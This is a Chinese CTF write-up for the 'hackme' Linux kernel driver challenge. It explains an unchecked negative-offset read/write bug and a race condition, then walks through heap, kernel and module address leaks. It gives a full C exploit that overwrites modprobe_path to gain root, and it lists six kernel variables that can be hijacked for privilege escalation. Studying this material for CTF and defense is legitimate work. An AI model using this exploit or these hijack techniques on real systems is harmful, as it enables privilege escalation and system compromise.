从用户态传入了0x20的数据,其数据放在了pool里面
在IDA里面看的话就是
就是他传入的四个QWORD 。
我们可以看得出来30001的时候就是通过v17来找到相关地址,然后kfree,再清零
所以其实就看得出来v17是index。
功能30002
v8是slab的地址
v20是从哪开始写
v9[1]里面就是size
所以就是往里面写
功能30003
上面是写进去
所以这个自然就是读出来
功能30000
读入一段
根据这一段申请slab
漏洞有两个
首先我们显而易见的在读写slab的时候对offset没有检查
如果我们的offset是负数
就可以任意地址读写。
第二个是条件竞争
是双核的,对pool的时候缺少锁。
如果我们在一个线程释放slab的时候另一个线程去对他进行读写,就可以触发uaf。
首先我们要充分熟悉一下slab机制
https://blog.csdn.net/xiaoqiaoq0/article/details/122051942
再熟悉一下userfaultfd机制
思路一:任意地址读写。
因为开了kaslr,所以首先当然是需要泄露地址
泄露地址又包括泄露堆地址,内核地址,模块地址。
首先我们知道slub的分配很类似于glibc 的fastbin,里面会有指针fd指向下一块空闲的块
所以我们还是通过已经释放掉的slab来拿到堆地址,就通过任意读写。
slub机制不会像glibc一样加个头,是多少就是多少。
size = 0x100;
ko_malloc(fd, 0, data_ptr, size);
ko_malloc(fd, 1, data_ptr, size);
ko_malloc(fd, 2, data_ptr, size);
ko_malloc(fd, 3, data_ptr, size);
ko_malloc(fd, 4, data_ptr, size);
ko_free(fd, 1);
ko_free(fd, 3);
idx = 4;
offset = -0x100;
size = 0x100;
ko_read(fd, idx, data_ptr, size, offset);
uint64_t kheap_ptr = *(uint64_t *)data_ptr;
printf("[+] leaking kheap address: 0x%lx\n", kheap_ptr);
然后考虑泄露内核基地址。
我们可以用任意读,去泄露0号slab之前的数据。然后找个基地址相关的地址,通过偏移获得内核地址。
那我咋知道0号slab在哪?
推荐两种方法:
1、可以在slab里写一个类似0xdeadbeef的字符串然后在gdb中search搜索。
2、可以在kmalloc下断点看他的返回值
我们实际调试一下
首先我们可能比较需要一个有符号的内核
当然没有也勉强可以但是不好调不好看
编译linux内核
内核不要只顾着用最新的
因为驱动必须用编译它的内核模块跑
自己整个内核的话驱动挂载补上的。
这个题的内核模块是4.20.13
上面说的直接划线
有点问题
根据实验
就算我们用了跟它本来版本一模一样的bzimage
这是因为linux内部有模块检测机制,导致驱动挂不上去,就不赘述了
那我们会想能不能bzimage用它给的 vmlinux用我们自己的 反正版本一样
也哒咩
用不了 里面的很多函数偏移啥的都不一样。
亲测亲测。
可以考虑编译内核的时候关闭CONFIG_MODVERSIONS选项来关闭模块检测。
但是我们一般似乎更通用的是
只能用一些现有的工具从他给的bzimage中尝试恢复一些符号
能恢复的不多
但是也能凑或用吧
网上找了个教程
看得到一个是我自己编的有符号的
一个是它恢复的 差八九十倍…
但是对于一些简单的驱动题的话也够用
调试方法不再赘述,补充一个小trick
qemu启动脚本中中-s是-gdb tcp::1234缩写的意思;-S是freeze CPU at startup,等待调试。
如果多次启动可能碰到端口占用
kill -9 `lsof -ti:2222`
用这个命令杀死就好。
gdb远程链接
我当然用的是自己编译的内核 有符号表。
方便调试
有符号表之后虽然有些地方看着还是没符号的样子比较丑
但是下断点啥的也还是方便了很多
那么我们就先kmalloc了五个0x100的slab
这是第五次kmalloc的返回值
我们看一下周围
可以很清晰看到堆的结构
以及我们可以看到
确实内核里的slab机制就是的slab就是不会加很多头。
然后释放掉slab1 3
看地址下图是slab1
看得出来里面第一个地址是9900 这显然是800后面空闲的slab
释放掉3之后
我们显然看到slab指向被释放的slab1
然后我们整上向上越界就能独处heap的地址。
然后我们试图读kernal base
我们试图向上找
看看上面有什么好的地址
这个228的地方找到一个地址
经过测试之后是kernal中的一个地址
那为啥不用上面那个呢?
那一堆链表看起来就像slab中的。
减偏移的话我们需要知道kernal的基地址
也可以通过在/proc/kallsyms里面查看
然后我们要泄露mod的地址。
mod的地址在mod_tree中有写。
所以我们需要先劫持slab那个链条
申请到mod_tree
然后泄露一下mod的地址
怎么知道mod_tree的地址呢?
泄露kernal_base之后通过偏移就能找的到。
然后要申请到mod_tree
这个地址改成mod_tree + 0x40
两次申请申请到
申请0x40是因为0x40这里的地址会循环起来
我们申请这里的话这个地址又会被写进链条里
方便下次利用。
然后泄露这个地址出来
这个就是hackme模块的基地址
那这个地址哪来的?
我们可以
cat kallsyms | grep hackme
当然也可以
是的没错
这个模块地址就是IDA里面驱动text基地址
memset(mem,'A',0x100);
*((size_t *)mem) = (0x811000 + kernel_addr + 0x40); // mod_tree +0x40
write_to_kernel(fd,4,mem,0x100,-0x100);
alloc(fd,5,mem,0x100);
alloc(fd,6,mem,0x100);
read_from_kernel(fd,6,mem,0x40,-0x40);
mod_addr = *((size_t *)(mem+0x18)) ;
printf("[+] mod addr : %16llx\n",mod_addr );
这里有个小问题
pool数组在ida里看到是0x640
但是我们实际调试的时候发现偏移是0x2400
可能数据段编进内核偏移变了吧…
还是得调一下
然后我们将modprobe_path写进去。
这个怎么得到?
delete(fd,2);
delete(fd,5);
getchar();
*((size_t *)mem) = (0x2400 + mod_addr + 0xc0);
write_to_kernel(fd,4,mem,0x100,-0x100);
alloc(fd,7,mem,0x100);
alloc(fd,8,mem,0x100); // pool
*((size_t *)(mem+0x8)) = 0x100;
*((size_t *)mem) = (0x83f960 + kernel_addr );
write_to_kernel(fd,8,mem,0x10,0);
// /kernel/kmod.c
char modprobe_path[KMOD_PATH_LEN] = "/sbin/modprobe";
// /kernel/kmod.c
static int call_modprobe(char *module_name, int wait)
argv[0] = modprobe_path;
info = call_usermodehelper_setup(modprobe_path, argv, envp, GFP_KERNEL,
NULL, free_modprobe_argv, NULL);
return call_usermodehelper_exec(info, wait | UMH_KILLABLE);
// /kernel/kmod.c
int __request_module(bool wait, const char *fmt, ...)
ret = call_modprobe(module_name, wait ? UMH_WAIT_PROC : UMH_WAIT_EXEC)
执行错误文件之后会执行modprobe_path中程序
所以我们将这个程序路径改成我们的cat flag路径
然后执行一个错误的文件就好。
参考的是bsauce大佬的解法
strncpy(mem,"/home/pwn/copy.sh\0",18);
write_to_kernel(fd,0xc,mem,18,0);
system("echo -ne '#!/bin/sh\n/bin/cp /flag /home/pwn/flag\n/bin/chmod 777 /home/pwn/flag' > /home/pwn/copy.sh");
system("chmod +x /home/pwn/copy.sh");
system("echo -ne '\\xff\\xff\\xff\\xff' > /home/pwn/dummy");
system("chmod +x /home/pwn/dummy");
system("/home/pwn/dummy");
system("cat flag");
完整的exp
#include <stdio.h>
#include <pthread.h>
#include <unistd.h>
#include <stdlib.h>
#include <sys/ioctl.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#define ALLOC 0x30000
#define DEL 0x30001
#define READ 0x30003
#define WRITE 0x30002
struct arg
{
size_t idx;
void *addr;
long long len;
long long offset;
};
void alloc(int fd,int idx,char *user,long long len){
struct arg cmd;
cmd.idx = idx;
cmd.len = len;
cmd.addr = user;
ioctl(fd,ALLOC,&cmd);
}
void delete(int fd,int idx){
struct arg cmd;
cmd.idx = idx;
ioctl(fd,DEL,&cmd);
}
void read_from_kernel(int fd,int idx,char *user,long long len,long long offset){
struct arg cmd;
cmd.idx = idx;
cmd.len = len;
cmd.addr = user;
cmd.offset = offset;
ioctl(fd,READ,&cmd);
}
void write_to_kernel(int fd,int idx,char *user,long long len,long long offset){
struct arg cmd;
cmd.idx = idx;
cmd.len = len;
cmd.addr = user;
cmd.offset = offset;
ioctl(fd,WRITE,&cmd);
}
int main(){
int fd = open("/dev/hackme", 0);
char *mem = malloc(0x1000);
size_t heap_addr , kernel_addr,mod_addr;
if (fd < 0){
printf("[-] bad open /dev/hackme\n");
exit(-1);
}
memset(mem,'A',0x100);
alloc(fd,0,mem,0x100);
alloc(fd,1,mem,0x100);
alloc(fd,2,mem,0x100);
alloc(fd,3,mem,0x100);
alloc(fd,4,mem,0x100);
delete(fd,1);
delete(fd,3);
read_from_kernel(fd,4,mem,0x100,-0x100);
heap_addr = *((size_t *)mem);
printf("[+] heap addr : %16llx\n",heap_addr );
read_from_kernel(fd,0,mem,0x200,-0x200);
kernel_addr = *((size_t *)(mem+0x28)) ;
kernel_addr -= 0x849ae0;
printf("[+] kernel addr : %16llx\n",kernel_addr );
memset(mem,'A',0x100);
*((size_t *)mem) = (0x811000 + kernel_addr + 0x40); // mod_tree +0x40
write_to_kernel(fd,4,mem,0x100,-0x100);
alloc(fd,5,mem,0x100);
alloc(fd,6,mem,0x100);
read_from_kernel(fd,6,mem,0x40,-0x40);
mod_addr = *((size_t *)(mem+0x18)) ;
printf("[+] mod addr : %16llx\n",mod_addr );
delete(fd,2);
delete(fd,5);
getchar();
*((size_t *)mem) = (0x2400 + mod_addr + 0xc0);
write_to_kernel(fd,4,mem,0x100,-0x100);
alloc(fd,7,mem,0x100);
alloc(fd,8,mem,0x100); // pool
*((size_t *)(mem+0x8)) = 0x100;
*((size_t *)mem) = (0x83f960 + kernel_addr );
write_to_kernel(fd,8,mem,0x10,0);
strncpy(mem,"/home/pwn/copy.sh\0",18);
write_to_kernel(fd,0xc,mem,18,0);
system("echo -ne '#!/bin/sh\n/bin/cp /flag /home/pwn/flag\n/bin/chmod 777 /home/pwn/flag' > /home/pwn/copy.sh");
system("chmod +x /home/pwn/copy.sh");
system("echo -ne '\\xff\\xff\\xff\\xff' > /home/pwn/dummy");
system("chmod +x /home/pwn/dummy");
system("/home/pwn/dummy");
system("cat flag");
}
同时大佬还提出了六种不需要像hijack prctl那样传参费劲的六种利用方式
hijack prctl著名的就是2018 强网杯 solid_core
总结提权时可劫持的变量
不需要劫持函数虚表,不需要传参数那么麻烦,只需要修改变量即可提权。
(1) modprobe_path
// /kernel/kmod.c
char modprobe_path[KMOD_PATH_LEN] = "/sbin/modprobe";
// /kernel/kmod.c
static int call_modprobe(char *module_name, int wait)
argv[0] = modprobe_path;
info = call_usermodehelper_setup(modprobe_path, argv, envp, GFP_KERNEL,
NULL, free_modprobe_argv, NULL);
return call_usermodehelper_exec(info, wait | UMH_KILLABLE);
// /kernel/kmod.c
int __request_module(bool wait, const char *fmt, ...)
ret = call_modprobe(module_name, wait ? UMH_WAIT_PROC : UMH_WAIT_EXEC);
__request_module - try to load a kernel module
触发:可通过执行错误格式的elf文件来触发执行modprobe_path指定的文件。
(2)poweroff_cmd
// /kernel/reboot.c
char poweroff_cmd[POWEROFF_CMD_PATH_LEN] = "/sbin/poweroff";
// /kernel/reboot.c
static int run_cmd(const char *cmd)
argv = argv_split(GFP_KERNEL, cmd, NULL);
ret = call_usermodehelper(argv[0], argv, envp, UMH_WAIT_EXEC);
// /kernel/reboot.c
static int __orderly_poweroff(bool force)
ret = run_cmd(poweroff_cmd);
触发:执行__orderly_poweroff()即可。
(3)uevent_helper
// /lib/kobject_uevent.c
#ifdef CONFIG_UEVENT_HELPER
char uevent_helper[UEVENT_HELPER_PATH_LEN] = CONFIG_UEVENT_HELPER_PATH;
// /lib/kobject_uevent.c
static int init_uevent_argv(struct kobj_uevent_env *env, const char *subsystem)
{ ......
env->argv[0] = uevent_helper;
...... }
// /lib/kobject_uevent.c
int kobject_uevent_env(struct kobject *kobj, enum kobject_action action,
char *envp_ext[])
{......
retval = init_uevent_argv(env, subsystem);
info = call_usermodehelper_setup(env->argv[0], env->argv,
env->envp, GFP_KERNEL,
NULL, cleanup_uevent_env, env);
......}
(4)ocfs2_hb_ctl_path
// /fs/ocfs2/stackglue.c
static char ocfs2_hb_ctl_path[OCFS2_MAX_HB_CTL_PATH] = "/sbin/ocfs2_hb_ctl";
// /fs/ocfs2/stackglue.c
static void ocfs2_leave_group(const char *group)
argv[0] = ocfs2_hb_ctl_path;
ret = call_usermodehelper(argv[0], argv, envp, UMH_WAIT_PROC);
(5)nfs_cache_getent_prog
// /fs/nfs/cache_lib.c
static char nfs_cache_getent_prog[NFS_CACHE_UPCALL_PATHLEN] =
"/sbin/nfs_cache_getent";
// /fs/nfs/cache_lib.c
int nfs_cache_upcall(struct cache_detail *cd, char *entry_name)
char *argv[] = {
nfs_cache_getent_prog,
cd->name,
entry_name,
NULL
};
ret = call_usermodehelper(argv[0], argv, envp, UMH_WAIT_EXEC);
(6)cltrack_prog
// /fs/nfsd/nfs4recover.c
static char cltrack_prog[PATH_MAX] = "/sbin/nfsdcltrack";
// /fs/nfsd/nfs4recover.c
static int nfsd4_umh_cltrack_upcall(char *cmd, char *arg, char *env0, char *env1)
argv[0] = (char *)cltrack_prog;
ret = call_usermodehelper(argv[0], argv, envp, UMH_WAIT_PROC);